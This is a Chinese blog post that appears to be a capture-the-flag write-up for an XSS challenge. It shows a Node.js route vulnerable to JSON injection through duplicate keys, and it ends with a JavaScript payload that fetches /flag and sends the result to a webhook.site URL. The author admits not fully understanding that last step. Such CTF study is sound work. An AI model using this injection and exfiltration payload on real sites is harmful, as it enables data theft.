nnonkey k1n9的博客

当你为错过太阳而哭泣时,你也要再错过群星了——泰戈尔​

一道改编自realworld的xss赛题

前言

以上内容均收集自https://cloud.tencent.com/developer/article/2228436

开始解题

部分关键源码
2024-01-15T07:45:58.png
当看到/flag路由我们就清楚这道题目是需要伪造cookies为admin,再请求/flag路由,读取flag。

router.get('/', (req, res) => {
    const blog = req.query.blog || 'https://xxxx.com';
    const user = JSON.parse(`{"username":"Tester", "setblog":"${blog}"}`);
    const url = parse(user['setblog'], true)
    , hostname = url.hostname;

    if (hostname === 'xxx.com' && user['username'] === 'hello') {
        console.log(1)
        res.render('index', {url:url});
    } else {
        res.render('index', {url:'#'});
    }
});

我们可以看到这个可以页面跳转res.render('index', {url:url});
但是必须满足
if (hostname === 'xxx.com' && user['username'] === 'hello')
这里就需要了解JSON.parse解析的知识了,通过查阅资料发现如果json中出现两个相同的键名,解析器将使用最后一次出现的键值对
我们自己可以在本地进行测试
2024-01-15T07:52:17.png
结果如下
2024-01-15T07:52:26.png
发现username成功解析为hello了
虽然能跳转了,但是还需要标签,又要通过url-parse的解析为host,然后就是使用javascript:alert(1),并且需要进行编码处理,然后最后就是获取flag

fetch(`/flag`).then(function(response){return response.text();}).then(function(data){return fetch(`https://webhook.site/xx?flag=${encodeURIComponent(data)}`);});

自己也没看懂...

本原创文章未经允许不得转载 | 当前页面:nnonkey k1n9的博客 » 一道改编自realworld的xss赛题

评论